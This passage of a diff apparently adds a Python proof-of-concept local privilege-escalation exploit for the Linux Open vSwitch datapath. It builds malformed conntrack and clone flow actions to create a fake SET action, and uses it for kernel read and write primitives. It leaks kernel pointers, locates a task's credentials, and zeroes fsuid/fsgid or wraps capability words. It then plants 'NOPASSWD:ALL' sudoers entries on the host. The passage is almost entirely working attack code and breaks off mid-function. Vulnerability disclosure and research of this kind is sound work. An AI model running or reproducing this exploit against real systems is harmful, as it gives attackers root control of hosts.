+                    "could not build any kernel offset plan because "
+                    f"{reason}. For a definitive check of whether you are "
+                    "affected, see https://heyitsas.im/posts/ovswrap"
+                ) from exc
+            log(f"kernel offsets: dynamic plan unavailable: {exc}")
+
+    if not plans:
+        raise RuntimeError(
+            "could not build any kernel offset plan for this kernel"
+        )
+    log(
+        "kernel offsets: candidate plans (in try order): "
+        + ", ".join(plan.name for plan in plans)
+    )
+    return plans
+
+
+def current_kernel_parameters() -> tuple[KernelOffsets, KernelBuildRecord | None]:
+    plans = build_kernel_parameter_plans()
+    plan = plans[0]
+    derive_ovs_uapi_constants(plan.record)
+    if plan.record is not None:
+        if plan.name.startswith("hybrid"):
+            log(
+                "kernel offsets: starting with hybrid/BTF struct layouts "
+                f"({plan.name})"
+            )
+        elif plan.name == "pre-derived":
+            log("kernel offsets: starting with pre-derived values")
+        else:
+            log(f"kernel offsets: starting with {plan.name}")
+    else:
+        log("kernel offsets: starting with dynamically derived values")
+    return plan.offsets, plan.record
+
+
+def create_datapath(genl: GenericNetlink, family_id: int, name: str) -> None:
+    payload = struct.pack("i", 0)
+    payload += nla(OVS_DP_ATTR_NAME, cstr(name))
+    payload += nla(OVS_DP_ATTR_UPCALL_PID, struct.pack("I", 0))
+    payload += nla(OVS_DP_ATTR_USER_FEATURES, struct.pack("I", 0))
+    genl.request(
+        family_id,
+        OVS_DP_CMD_NEW,
+        OVS_DATAPATH_VERSION,
+        payload,
+        NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
+    )
+
+
+def flow_key(seq: int) -> bytes:
+    src_ip = 0x0A000000 | ((seq & 0xFFFF) + 1)
+    return b"".join(
+        [
+            nla(OVS_KEY_ATTR_IN_PORT, struct.pack("I", 0)),
+            nla(
+                OVS_KEY_ATTR_ETHERNET,
+                b"\x02\x00\x00\x00\x00\x01" + b"\x02\x00\x00\x00\x00\x02",
+            ),
+            nla(OVS_KEY_ATTR_ETHERTYPE, struct.pack("!H", ETH_P_IP)),
+            nla(
+                OVS_KEY_ATTR_IPV4,
+                struct.pack("!IIBBBB", src_ip, 0x0A0000FE, IPPROTO_TCP, 0, 64, 0),
+            ),
+            nla(OVS_KEY_ATTR_TCP, struct.pack("!HH", 10000 + (seq % 50000), 443)),
+            nla(OVS_KEY_ATTR_TCP_FLAGS, struct.pack("!H", 0)),
+        ]
+    )
+
+
+def ct_action(payload: bytes = b"") -> bytes:
+    return nla(OVS_ACTION_ATTR_CT, nla(OVS_CT_ATTR_COMMIT, b"") + payload)
+
+
+def ct_helper_payload() -> bytes:
+    return nla(OVS_CT_ATTR_HELPER, b"ftp\x00")
+
+
+def clone_with_helper_leak(fake_action: bytes) -> bytes:
+    labels = bytearray(32)
+    labels[20 : 20 + len(fake_action)] = fake_action
+    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels)) + ct_helper_payload()
+    helper_payload = ct_helper_payload()
+    return nla(
+        OVS_ACTION_ATTR_CLONE,
+        ct_action(payload) + ct_action(helper_payload) * (CT_ACTION_COUNT - 1),
+    )
+
+
+def clone_with_fake_set_timeout(tun_dst: int) -> bytes:
+    labels = bytearray(32)
+    labels[20:24] = struct.pack(NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET)
+    labels[24:28] = struct.pack(NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO)
+    labels[28:32] = struct.pack("<I", tun_dst & 0xFFFFFFFF)
+    timeout = bytearray(32)
+    timeout[0:4] = struct.pack("<I", (tun_dst >> 32) & 0xFFFFFFFF)
+    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
+    payload += nla(OVS_CT_ATTR_TIMEOUT, bytes(timeout))
+    return nla(
+        OVS_ACTION_ATTR_CLONE,
+        ct_action(payload) + ct_action() * (CT_ACTION_COUNT - 1),
+    )
+
+
+def labels_only_wrap_plan(ct_action_len: int, labels_offset: int) -> tuple[int, int]:
+    if ct_action_len < 8 or ct_action_len % 4:
+        raise RuntimeError(f"unexpected OVS CT action length {ct_action_len}")
+    fake_offset = 16
+    target_wrap = 8 + labels_offset + fake_offset
+    if target_wrap >= 0x10000 or target_wrap % 4:
+        raise RuntimeError(
+            f"cannot target labels-only fake SET wrap offset 0x{target_wrap:x}"
+        )
+    best_score: int | None = None
+    best_total = 0
+    best_pad = 0
+    for total_ct_actions in range(360, 421):
+        base_wrap = (4 + total_ct_actions * ct_action_len) & 0xFFFF
+        diff = (target_wrap - base_wrap) & 0xFFFF
+        pad_count = diff // 4
+        true_len = 4 + total_ct_actions * ct_action_len + pad_count * 4
+        if true_len <= 0xFFFF or pad_count > 256:
+            continue
+        score = pad_count + abs(total_ct_actions - 400)
+        if best_score is None or score < best_score:
+            best_score = score
+            best_total = total_ct_actions
+            best_pad = pad_count
+    if best_score is None:
+        raise RuntimeError(
+            "could not build labels-only fake SET wrap plan for "
+            f"ct_action_len={ct_action_len} labels_offset={labels_offset}"
+        )
+    return best_total, best_pad
+
+
+def clone_with_fake_set_tunnel_labels_only(
+    tun_dst: int, ct_action_len: int, labels_offset: int
+) -> bytes:
+    total_ct_actions, pad_count = labels_only_wrap_plan(
+        ct_action_len, labels_offset
+    )
+    fake_offset = 16
+    labels = bytearray(32)
+    labels[fake_offset : fake_offset + 4] = struct.pack(
+        NLA_HDR, 0xFFFF, OVS_ACTION_ATTR_SET
+    )
+    labels[fake_offset + 4 : fake_offset + 8] = struct.pack(
+        NLA_HDR, 12, OVS_KEY_ATTR_TUNNEL_INFO
+    )
+    labels[fake_offset + 8 : fake_offset + 16] = struct.pack("<Q", tun_dst)
+    payload = nla(OVS_CT_ATTR_LABELS, bytes(labels))
+    pad = nla(OVS_ACTION_ATTR_POP_VLAN, b"") * pad_count
+    return nla(
+        OVS_ACTION_ATTR_CLONE,
+        ct_action(payload) + ct_action() * (total_ct_actions - 1) + pad,
+    )
+
+
+def clone_with_fake_set_carrier(
+    carrier: str, tun_dst: int, offsets: KernelOffsets
+) -> bytes:
+    if carrier == CARRIER_TIMEOUT:
+        return clone_with_fake_set_timeout(tun_dst)
+    if carrier == CARRIER_LABELS_ONLY:
+        return clone_with_fake_set_tunnel_labels_only(
+            tun_dst,
+            offsets.ovs_ct_action_len,
+            offsets.ovs_ct_labels,
+        )
+    raise RuntimeError(f"unknown fake SET carrier {carrier!r}")
+
+
+def fake_set_carrier_error(exc: Exception) -> bool:
+    if isinstance(exc, OSError):
+        return exc.errno == errno.EINVAL
+    return "flow get response did not include actions" in str(exc)
+
+
+class FakeSetCarriers:
+    def __init__(self, mode: str, label: str) -> None:
+        if mode not in CARRIER_ORDER and mode != CARRIER_AUTO:
+            raise RuntimeError(f"unknown {label} carrier mode {mode!r}")
+        self.mode = mode
+        self.label = label
+        self.timeout_disabled = False
+
+    def names(self) -> tuple[str, ...]:
+        if self.mode != CARRIER_AUTO:
+            return (self.mode,)
+        if self.timeout_disabled:
+            return (CARRIER_LABELS_ONLY,)
+        return CARRIER_ORDER
+
+    def retry_after(self, carrier: str, has_next: bool) -> bool:
+        if self.mode != CARRIER_AUTO or carrier != CARRIER_TIMEOUT or not has_next:
+            return False
+        print(
+            f"fake SET timeout carrier failed for {self.label}; "
+            "using labels-only carrier",
+            flush=True,
+        )
+        self.timeout_disabled = True
+        return True
+
+
+def create_flow(
+    genl: GenericNetlink,
+    family_id: int,
+    dp_ifindex: int,
+    key: bytes,
+    actions: bytes,
+) -> None:
+    payload = (
+        struct.pack("i", dp_ifindex)
+        + nla(OVS_FLOW_ATTR_KEY, key)
+        + nla(OVS_FLOW_ATTR_ACTIONS, actions)
+    )
+    genl.request(
+        family_id,
+        OVS_FLOW_CMD_NEW,
+        OVS_FLOW_VERSION,
+        payload,
+        NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE,
+    )
+
+
+def delete_flow(genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes) -> None:
+    payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
+    genl.request(
+        family_id,
+        OVS_FLOW_CMD_DEL,
+        OVS_FLOW_VERSION,
+        payload,
+        NLM_F_REQUEST | NLM_F_ACK,
+    )
+
+
+def get_flow_actions(
+    genl: GenericNetlink, family_id: int, dp_ifindex: int, key: bytes
+) -> bytes:
+    payload = struct.pack("i", dp_ifindex) + nla(OVS_FLOW_ATTR_KEY, key)
+    replies = genl.request(family_id, OVS_FLOW_CMD_GET, OVS_FLOW_VERSION, payload)
+    if not replies:
+        raise RuntimeError("flow get returned no replies")
+    for attr in parse_attrs(replies[0][8:]):
+        if attr.attr_type == OVS_FLOW_ATTR_ACTIONS:
+            return attr.payload
+    raise RuntimeError("flow get response did not include actions")
+
+
+def likely_kernel_pointers(buf: bytes) -> list[tuple[int, int]]:
+    hits: list[tuple[int, int]] = []
+    for offset in range(0, max(0, len(buf) - 7)):
+        value = struct.unpack_from("<Q", buf, offset)[0]
+        if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
+            hits.append((offset, value))
+    return hits
+
+
+def find_helper_pointer(actions: bytes) -> int:
+    for top in parse_attrs(actions):
+        if top.attr_type == OVS_ACTION_ATTR_OUTPUT and top.raw_len == 512:
+            hits = likely_kernel_pointers(top.payload)
+            helperish = [
+                value
+                for _off, value in hits
+                if 0xFFFFFFFFC0000000 <= value <= 0xFFFFFFFFDFFFFFFF
+                and (value & 0x7) == 0
+            ]
+            if helperish:
+                return helperish[0]
+            if hits:
+                return hits[0][1]
+    raise RuntimeError("no helper pointer found in fake OUTPUT leak")
+
+
+class OvsReadPrimitive:
+    def __init__(
+        self,
+        genl: GenericNetlink,
+        flow_family: int,
+        dp_ifindex: int,
+        offsets: KernelOffsets,
+        carrier_mode: str = CARRIER_AUTO,
+        preferred_lanes: tuple[str, ...] = (),
+    ) -> None:
+        self.genl = genl
+        self.flow_family = flow_family
+        self.dp_ifindex = dp_ifindex
+        self.offsets = offsets
+        self.carriers = FakeSetCarriers(carrier_mode, "read")
+        self.seq = 1000
+        self.scalar_lanes = (
+            TunnelReadLane(
+                "tos",
+                offsets.ip_tunnel_key_tos,
+                OVS_TUNNEL_KEY_ATTR_TOS,
+                0,
+                True,
+            ),
+            TunnelReadLane(
+                "ttl",
+                offsets.ip_tunnel_key_ttl,
+                OVS_TUNNEL_KEY_ATTR_TTL,
+                0,
+                False,
+            ),
+            TunnelReadLane(
+                "tp_src_0",
+                offsets.ip_tunnel_key_tp_src,
+                OVS_TUNNEL_KEY_ATTR_TP_SRC,
+                0,
+                True,
+            ),
+            TunnelReadLane(
+                "tp_src_1",
+                offsets.ip_tunnel_key_tp_src + 1,
+                OVS_TUNNEL_KEY_ATTR_TP_SRC,
+                1,
+                True,
+            ),
+            TunnelReadLane(
+                "tp_dst_0",
+                offsets.ip_tunnel_key_tp_dst,
+                OVS_TUNNEL_KEY_ATTR_TP_DST,
+                0,
+                True,
+            ),
+            TunnelReadLane(
+                "tp_dst_1",
+                offsets.ip_tunnel_key_tp_dst + 1,
+                OVS_TUNNEL_KEY_ATTR_TP_DST,
+                1,
+                True,
+            ),
+        )
+        self.ipv4_lanes = tuple(
+            TunnelReadLane(
+                f"ipv4_src_{index}",
+                offsets.ip_tunnel_key_ipv4_src + index,
+                OVS_TUNNEL_KEY_ATTR_IPV4_SRC,
+                index,
+                True,
+            )
+            for index in range(4)
+        ) + tuple(
+            TunnelReadLane(
+                f"ipv4_dst_{index}",
+                offsets.ip_tunnel_key_ipv4_dst + index,
+                OVS_TUNNEL_KEY_ATTR_IPV4_DST,
+                index,
+                True,
+            )
+            for index in range(4)
+        )
+        default_lanes = self.scalar_lanes + self.ipv4_lanes
+        preferred_names = set(preferred_lanes)
+        preferred = tuple(
+            lane
+            for name in preferred_lanes
+            for lane in default_lanes
+            if lane.name == name
+        )
+        remaining = tuple(lane for lane in default_lanes if lane.name not in preferred_names)
+        self.read_lanes = preferred + remaining
+
+    def read_u8_with_lane(self, address: int, lane: TunnelReadLane) -> int | None:
+        key_start = address - lane.field_offset
+        tun_dst = key_start - self.offsets.metadata_dst_tun_info
+        dumped = b""
+        carriers = self.carriers.names()
+        for index, carrier in enumerate(carriers):
+            self.seq += 1
+            key = flow_key(self.seq)
+            actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
+            try:
+                create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
+                dumped = get_flow_actions(
+                    self.genl, self.flow_family, self.dp_ifindex, key
+                )
+                break
+            except (OSError, RuntimeError) as exc:
+                if fake_set_carrier_error(exc):
+                    if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
+                        continue
+                    return None
+                raise
+        for top in parse_attrs(dumped):
+            if top.attr_type != OVS_ACTION_ATTR_SET:
+                continue
+            for tunnel_key in parse_attrs(top.payload):
+                if tunnel_key.attr_type != OVS_KEY_ATTR_TUNNEL:
+                    continue
+                saw_tunnel = False
+                for tunnel_attr in parse_attrs(tunnel_key.payload):
+                    if tunnel_attr.attr_type == OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE:
+                        return None
+                    saw_tunnel = True
+                    if tunnel_attr.attr_type == lane.attr_type:
+                        if len(tunnel_attr.payload) <= lane.payload_index:
+                            raise RuntimeError(
+                                f"unexpected {lane.name} payload length "
+                                f"{len(tunnel_attr.payload)}"
+                            )
+                        return tunnel_attr.payload[lane.payload_index]
+                if saw_tunnel and lane.optional_zero:
+                    return 0
+        return None
+
+    def read_u8(self, address: int) -> int:
+        for lane in self.read_lanes:
+            value = self.read_u8_with_lane(address, lane)
+            if value is not None:
+                return value
+        raise RuntimeError(
+            f"fixed tunnel carriers could not read byte at 0x{address:016x}"
+        )
+
+    def read_bytes(self, address: int, size: int) -> bytes:
+        return bytes(self.read_u8(address + offset) for offset in range(size))
+
+    def read_u32(self, address: int) -> int:
+        return int(struct.unpack("<I", self.read_bytes(address, 4))[0])
+
+    def read_u64(self, address: int) -> int:
+        return int(struct.unpack("<Q", self.read_bytes(address, 8))[0])
+
+
+class OvsWritePrimitive:
+    def __init__(
+        self,
+        genl: GenericNetlink,
+        flow_family: int,
+        dp_ifindex: int,
+        offsets: KernelOffsets,
+        carrier_mode: str = CARRIER_AUTO,
+    ) -> None:
+        self.genl = genl
+        self.flow_family = flow_family
+        self.dp_ifindex = dp_ifindex
+        self.offsets = offsets
+        self.carriers = FakeSetCarriers(carrier_mode, "write")
+        self.seq = 100000000
+
+    def decrement_u32_once(self, target_address: int) -> None:
+        tun_dst = target_address - self.offsets.dst_entry_ref
+        carriers = self.carriers.names()
+        for index, carrier in enumerate(carriers):
+            self.seq += 1
+            key = flow_key(self.seq)
+            actions = clone_with_fake_set_carrier(carrier, tun_dst, self.offsets)
+            try:
+                create_flow(self.genl, self.flow_family, self.dp_ifindex, key, actions)
+                delete_flow(self.genl, self.flow_family, self.dp_ifindex, key)
+                return
+            except OSError as exc:
+                if exc.errno == errno.ENOMEM:
+                    raise RuntimeError(
+                        "Ran out of memory; reattempt the PoC after a reboot "
+                        "or with more RAM (recommended 2GB+)."
+                    ) from exc
+                if fake_set_carrier_error(exc):
+                    if self.carriers.retry_after(carrier, index + 1 < len(carriers)):
+                        continue
+                    raise RuntimeError(
+                        f"fake SET {carrier} write carrier failed"
+                    ) from exc
+                raise
+
+
+def valid_vmlinux_base(value: int) -> bool:
+    return (
+        0xFFFFFFFF80000000 <= value <= 0xFFFFFFFFF0000000
+        and value % 0x200000 == 0
+    )
+
+
+def derive_helper_module_ktype(
+    reader: OvsReadPrimitive,
+    helper_me_address: int,
+    helper_pointer: int,
+    offsets: KernelOffsets,
+) -> int:
+    module_pointer = canonicalize_kernel_pointer(reader.read_u64(helper_me_address))
+    if not (
+        canonical_kernel_pointer(module_pointer)
+        and helper_pointer - 0x800000 <= module_pointer <= helper_pointer + 0x800000
+    ):
+        raise RuntimeError(
+            "helper->me did not read as a nearby canonical module pointer: "
+            f"helper=0x{helper_pointer:016x} me=0x{module_pointer:016x}"
+        )
+    ktype_addr = module_pointer + offsets.module_kobj_ktype
+    module_ktype = canonicalize_kernel_pointer(reader.read_u64(ktype_addr))
+    if not valid_vmlinux_base(module_ktype - offsets.vmlinux_module_ktype):
+        raise RuntimeError(
+            f"module.kobj.ktype at 0x{ktype_addr:016x} read "
+            f"0x{module_ktype:016x}, which does not match the expected "
+            "vmlinux symbol offset"
+        )
+    log(f"helper->me module pointer 0x{module_pointer:016x} validated directly")
+    return module_ktype
+
+
+def canonicalize_kernel_pointer(value: int) -> int:
+    if 0xFFFF800000000000 <= value <= 0xFFFFFFFFFFFFFFFF:
+        return value
+    if 0x0000008000000000 <= value <= 0x000000FFFFFFFFFF:
+        return value | 0xFFFFFF0000000000
+    if 0x0000800000000000 <= value <= 0x0000FFFFFFFFFFFF:
+        return value | 0xFFFF000000000000
+    if 0x0080000000000000 <= value <= 0x00FFFFFFFFFFFFFF:
+        return value | 0xFF00000000000000
+    return value
+
+
+def canonical_kernel_pointer(value: int) -> bool:
+    canonical = canonicalize_kernel_pointer(value)
+    return 0xFF00000000000000 <= canonical <= 0xFFFFFFFFFFFFFFFF and canonical % 8 == 0
+
+
+def read_kernel_pointer(
+    reader: OvsReadPrimitive,
+    address: int,
+    label: str,
+) -> int:
+    pointer = canonicalize_kernel_pointer(reader.read_u64(address))
+    if not canonical_kernel_pointer(pointer):
+        raise RuntimeError(
+            f"{label} at 0x{address:016x} is not a canonical kernel pointer: "
+            f"0x{pointer:016x}"
+        )
+    return pointer
+
+
+def xarray_entry_to_node(entry: int) -> int | None:
+    if entry == 0 or (entry & 0x3) != 0x2:
+        return None
+    node = canonicalize_kernel_pointer(entry & ~0x3)
+    if canonical_kernel_pointer(node):
+        return node
+    return None
+
+
+def xarray_entry_to_pointer(entry: int) -> int | None:
+    if entry == 0 or (entry & 0x3) != 0:
+        return None
+    pointer = canonicalize_kernel_pointer(entry)
+    if canonical_kernel_pointer(pointer):
+        return pointer
+    return None
+
+
+def read_xarray_entry(
+    reader: OvsReadPrimitive,
+    address: int,
+    label: str,
+) -> int:
+    value = reader.read_u64(address)
+    node = xarray_entry_to_node(value)
+    if node is not None:
+        return node | 0x2
+    pointer = xarray_entry_to_pointer(value)
+    if pointer is not None:
+        return pointer
+    raise RuntimeError(
+        f"{label} at 0x{address:016x} is not a valid XArray entry: "
+        f"0x{value:016x}"
+    )
+
+
+def read_xa_shift(reader: OvsReadPrimitive, address: int) -> int:
+    value = reader.read_u8(address)
+    if value > 60 or value % 6 != 0:
+        raise RuntimeError(
+            f"XArray node shift at 0x{address:016x} is invalid: {value}"
+        )
+    return value
+
+
+def lookup_init_pid_ns_pid(
+    reader: OvsReadPrimitive,
+    offsets: KernelOffsets,
+    kernel_base: int,
+    pid_nr: int,
+) -> int:
+    idr_addr = kernel_base + offsets.vmlinux_init_pid_ns + offsets.pid_namespace_idr
+    idr_base = reader.read_u32(idr_addr + offsets.idr_base)
+    if pid_nr < idr_base:
+        raise RuntimeError(f"pid {pid_nr} is below init pid namespace idr_base {idr_base}")
+    index = pid_nr - idr_base
+    xarray_addr = idr_addr + offsets.idr_idr_rt
+
+    entry = read_xarray_entry(
+        reader,
+        xarray_addr + offsets.xarray_xa_head,
+        "init_pid_ns.idr.xa_head",
+    )
+    for depth in range(8):
+        node = xarray_entry_to_node(entry)
+        if node is not None:
+            shift = read_xa_shift(reader, node + offsets.xa_node_shift)
+            slot = (index >> shift) & 0x3F
+            entry = read_xarray_entry(
+                reader,
+                node + offsets.xa_node_slots + slot * 8,
+                f"init_pid_ns.idr.slot[{slot}]",
+            )
+            continue
+        pointer = xarray_entry_to_pointer(entry)
+        if pointer is not None:
+            return pointer
+    raise RuntimeError(f"init_pid_ns idr traversal exceeded depth limit for pid {pid_nr}")
+
+
+def locate_task_by_init_pid_ns(
+    reader: OvsReadPrimitive,
+    offsets: KernelOffsets,
+    kernel_base: int,
+    wanted_pid: int,
+) -> int:
+    pid_struct = lookup_init_pid_ns_pid(reader, offsets, kernel_base, wanted_pid)
+    first = read_kernel_pointer(
+        reader,
+        pid_struct + offsets.pid_tasks + offsets.hlist_head_first,
+        "pid.tasks.first",
+    )
+    task = first - offsets.task_pid_links
+    if not canonical_kernel_pointer(task):
+        raise RuntimeError(
+            f"init_pid_ns idr produced noncanonical task from hlist: "
+            f"pid_struct=0x{pid_struct:016x} hlist=0x{first:016x}"
+        )
+    pid = reader.read_u32(task + offsets.task_pid)
+    if pid != wanted_pid:
+        raise RuntimeError(
+            f"init_pid_ns idr resolved pid_struct=0x{pid_struct:016x} "
+            f"task=0x{task:016x}, but task.pid={pid}, expected {wanted_pid}"
+        )
+    print(
+        f"located task through init_pid_ns idr: "
+        f"pid_struct=0x{pid_struct:016x} task=0x{task:016x}",
+        flush=True,
+    )
+    return task
+
+
+def resolve_writer_task_and_offsets(
+    reader: OvsReadPrimitive,
+    plans: tuple[KernelParameterPlan, ...],
+    helper_pointer: int,
+    writer_pid: int,
+) -> tuple[int, KernelOffsets, int, int]:
+    failures: list[str] = []
+    for plan in plans:
+        try:
+            module_ktype = derive_helper_module_ktype(
+                reader,
+                helper_pointer + plan.offsets.nf_conntrack_helper_me,
+                helper_pointer,
+                plan.offsets,
+            )
+            kernel_base = module_ktype - plan.offsets.vmlinux_module_ktype
+            task = locate_task_by_init_pid_ns(
+                reader,
+                plan.offsets,
+                kernel_base,
+                writer_pid,
+            )
+            cred_addr = task + plan.offsets.task_cred
+            read_kernel_pointer(reader, cred_addr, "task->cred")
+            log(f"kernel offsets: selected plan {plan.name!r}")
+            return task, plan.offsets, kernel_base, module_ktype
+        except RuntimeError as exc:
+            if is_retriable_kernel_layout_error(exc):
+                log(f"kernel offsets: plan {plan.name!r} failed: {exc}")
+                failures.append(f"{plan.name}: {exc}")
+                continue
+            raise
+    raise RuntimeError(
+        "all kernel offset plans failed while locating the host sudoers writer; "
+        "tried: "
+        + ("; ".join(failures) if failures else "no plans were configured")
+    )
+
+
+def decrement_to_zero(
+    reader: OvsReadPrimitive,
+    writer: OvsWritePrimitive,
+    address: int,
+    label: str,
+) -> None:
+    value = reader.read_u32(address)
+    print(f"{label} before={value}", flush=True)
+    if value > 100000:
+        raise RuntimeError(f"{label} value {value} is unexpectedly large")
+    for idx in range(value):
+        writer.decrement_u32_once(address)
+        if idx and idx % 250 == 0:
+            print(f"{label}: queued {idx}/{value} decrements", flush=True)
+    time.sleep(2.0)
+    now = reader.read_u32(address)
+    if now != 0:
+        raise RuntimeError(f"{label} did not reach zero; current value is {now}")
+    print(f"{label} after=0", flush=True)
+
+
+def decrement_zero_to_all_ones(
+    reader: OvsReadPrimitive,
+    writer: OvsWritePrimitive,
+    address: int,
+    label: str,
+) -> None:
+    value = reader.read_u32(address)
+    print(f"{label} before=0x{value:08x}", flush=True)
+    if value != 0:
+        raise RuntimeError(
+            f"{label} expected to start at zero for legacy __refcnt conversion, "
+            f"got 0x{value:08x}"
+        )
+    writer.decrement_u32_once(address)
+    time.sleep(0.5)
+    now = reader.read_u32(address)
+    if now != 0xFFFFFFFF:
+        raise RuntimeError(
+            f"{label} did not wrap to 0xffffffff; current value is 0x{now:08x}"
+        )
+    print(f"{label} after=0xffffffff", flush=True)
+
+
+def panic_on_warn_enabled() -> bool:
+    try:
+        with open("/proc/sys/kernel/panic_on_warn", "r", encoding="ascii") as handle:
+            return handle.read().strip() not in ("", "0")
+    except OSError:
+        return False
+
+
+def convert_writer_credential(
+    reader: OvsReadPrimitive,
+    writer: OvsWritePrimitive,
+    offsets: KernelOffsets,
+    cred: int,
+) -> None:
+    if offsets.dst_entry_ref_kind == "__rcuref":
+        step("DECREMENTING FSUID/FSGID")
+        decrement_to_zero(reader, writer, cred + offsets.cred_fsuid, "fsuid")
+        decrement_to_zero(reader, writer, cred + offsets.cred_fsgid, "fsgid")
+        return
+    if offsets.dst_entry_ref_kind == "__refcnt":
+        if panic_on_warn_enabled():
+            raise RuntimeError(
+                "legacy dst_entry.__refcnt conversion would trigger a kernel "
+                "WARN while wrapping capability words, and panic_on_warn is enabled"
+            )
+        print(
+            "legacy dst_entry.__refcnt conversion: panic_on_warn is disabled; "
+            "wrapping capability words may emit one nonfatal dst_release warning",
+            flush=True,
+        )
+        step("WRAPPING HOST WRITER CAPABILITIES")
+        decrement_zero_to_all_ones(
+            reader,
+            writer,
+            cred + offsets.cred_cap_permitted,
+            "cap_permitted.low",
+        )
+        decrement_zero_to_all_ones(
+            reader,
+            writer,
+            cred + offsets.cred_cap_effective,
+            "cap_effective.low",
+        )
+        return
+    raise RuntimeError(f"unsupported dst_entry ref kind {offsets.dst_entry_ref_kind}")
+
+
+def try_write_root_proof(path: str, text: str) -> bool:
+    try:
+        with open(path, "w", encoding="ascii") as handle:
+            handle.write(text)
+        os.sync()
+        return True
+    except OSError as exc:
+        print(f"write {path} failed: errno={exc.errno} {exc.strerror}", flush=True)
+        return False
+
+
+def restore_pam_unix_from_backup() -> bool:
+    """Restore host pam_unix.so from a known-good backup (needs root creds)."""
+    src = os.environ.get("OVS_C004_PAM_SRC", PAM_UNIX_BAK)
+    dst = os.environ.get("OVS_C004_PAM_DST", PAM_UNIX_SO)
+    try:
+        with open(src, "rb") as handle:
+            payload = handle.read()
+        fd = os.open(dst, os.O_WRONLY | os.O_TRUNC)
+        try:
+            os.write(fd, payload)
+            os.fsync(fd)
+        finally:
+            os.close(fd)
+        os.sync()
+        print(f"pam restore succeeded: {src} -> {dst} ({len(payload)} bytes)", flush=True)
+        return True
+    except OSError as exc:
+        print(
+            f"pam restore {dst} failed: errno={exc.errno} {exc.strerror}",
+            flush=True,
+        )
+        return False
+
+
+def sudoers_references_dropin_dir(
+    sudoers_path: str = SUDOERS_FILE,
+    dropin_dir: str = SUDOERS_DROPIN_DIR,
+) -> bool:
+    try:
+        with open(sudoers_path, "r", encoding="ascii", errors="replace") as handle:
+            for raw_line in handle:
+                line = raw_line.strip()
+                if not line:
+                    continue
+                if line.startswith("#includedir") or line.startswith("@includedir"):
+                    fields = line.split()
+                    if len(fields) >= 2 and fields[1].strip("\"'") == dropin_dir:
+                        return True
+    except OSError as exc:
+        print(
+            f"could not inspect {sudoers_path}: errno={exc.errno} {exc.strerror}",
+            flush=True,
+        )
+    return False
+
+
+def write_sudoers_dropin(path: str, username: str) -> bool:
+    content = f"{username} ALL=(ALL) NOPASSWD:ALL\n".encode("ascii")
+    old_umask = os.umask(0)
+    try:
+        os.makedirs(os.path.dirname(path), mode=0o755, exist_ok=True)
+        fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
+        try:
+            os.write(fd, content)
+            os.fchmod(fd, 0o440)
+            os.fsync(fd)
+        finally:
+            os.close(fd)
+        os.sync()
+        return True
+    except OSError as exc:
+        print(
+            f"sudoers drop-in write {path} failed: errno={exc.errno} "
+            f"{exc.strerror}",
+            flush=True,
+        )
+        return False
+    finally:
+        os.umask(old_umask)
+
+
+def append_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
+    content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
+    try:
+        fd = os.open(path, os.O_WRONLY | os.O_APPEND)
+        try:
+            os.write(fd, content)
+            os.fsync(fd)
+        finally:
+            os.close(fd)
+        os.sync()
+        return True
+    except OSError as exc:
+        print(
+            f"sudoers append {path} failed: errno={exc.errno} {exc.strerror}",
+            flush=True,
+        )
+        return False
+
+
+def replace_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
+    content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
+    directory = os.path.dirname(path)
+    tmp_path = os.path.join(directory, f".ovs_c004_sudoers_{os.getpid()}")
+    try:
+        with open(path, "rb") as handle:
+            existing = handle.read()
+        try:
+            os.unlink(tmp_path)
+        except FileNotFoundError:
+            pass
+        fd = os.open(tmp_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
+        try:
+            os.write(fd, existing)
+            os.write(fd, content)
+            os.fchmod(fd, 0o440)
+            os.fsync(fd)
+        finally:
+            os.close(fd)
+        os.rename(tmp_path, path)
+        dir_fd = os.open(directory, os.O_RDONLY | os.O_DIRECTORY)
+        try:
+            os.fsync(dir_fd)
+        finally:
+            os.close(dir_fd)
+        os.sync()
+        return True
+    except OSError as exc:
+        try:
+            os.unlink(tmp_path)
+        except OSError:
+            pass
+        print(
+            f"sudoers replace {path} failed: errno={exc.errno} {exc.strerror}",
+            flush=True,
+        )
+        return False
+
+
+def write_sudoers_entry(path: str, username: str) -> tuple[bool, str]:
+    if sudoers_references_dropin_dir():
+        if write_sudoers_dropin(path, username):
+            return True, path
+        print(f"falling back to direct append of {SUDOERS_FILE}", flush=True)
+    else:
+        print(
+            f"{SUDOERS_FILE} does not reference {SUDOERS_DROPIN_DIR}; "
+            "using direct sudoers append",
+            flush=True,
+        )
+    if append_main_sudoers(username):
+        return True, SUDOERS_FILE
+    print(f"falling back to atomic replacement of {SUDOERS_FILE}", flush=True)
+    if replace_main_sudoers(username):
+        return True, SUDOERS_FILE
+    return False, ""
+
+
+def try_become_root_ids() -> None:
+    try:
+        os.setresgid(0, 0, 0)
+        os.setresuid(0, 0, 0)
+    except OSError:
+        pass
+
+
+def sleep_forever_detached() -> None:
+    os.setsid()
+    devnull = os.open("/dev/null", os.O_RDWR)
+    os.dup2(devnull, 0)
+    os.dup2(devnull, 1)
+    os.dup2(devnull, 2)
+    if devnull > 2:
+        os.close(devnull)
+    while True:
+        time.sleep(3600)
+
+
+def fork_sudoers_writer(path: str, username: str) -> tuple[int, int, int]:
+    trigger_read, trigger_write = os.pipe()
+    ack_read, ack_write = os.pipe()
+    child = os.fork()
+    if child == 0:
+        os.close(trigger_write)
+        os.close(ack_read)
+        ok = False
+        used_path = ""
+        try:
